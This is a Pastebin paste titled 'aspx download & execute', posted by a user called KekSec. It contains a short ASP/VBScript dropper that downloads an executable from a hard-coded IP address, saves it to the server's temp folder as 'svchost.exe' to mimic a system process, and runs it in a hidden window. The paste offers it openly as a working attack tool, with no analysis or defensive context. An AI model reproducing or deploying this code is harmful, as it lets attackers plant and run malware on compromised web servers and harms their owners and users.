KekSec

aspx download & execute

Oct 6th, 2018
696
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. <%
  2. Dim objX: Set objX=Server.CreateObject("MSXML2.ServerXMLHTTP")
  3. Dim objT: Set objT=Server.CreateObject("ADODB.Stream")
  4. Dim objS: Set objS=Server.CreateObject("WScript.Shell")
  5. Dim objF: Set objF=Server.CreateObject("Scripting.FileSystemObject")
  6. Dim TEMP: Set TEMP=objF.GetSpecialFolder(2)
  7. objX.Open "GET","http://104.248.188.76/kek.exe",False
  8. objX.Send
  9. Do While objX.Status=200 And objX.ReadyState=4
  10. With objT
  11. .Type=1
  12. .Open
  13. .Write objX.ResponseBody
  14. .SaveToFile TEMP&"\svchost.exe",2
  15. End With
  16. Exit Do
  17. Loop
  18. objS.Run Chr(34)&TEMP&"\svchost.exe"&Chr(34),0,False
  19. %>
Add Comment
Please, Sign In to add comment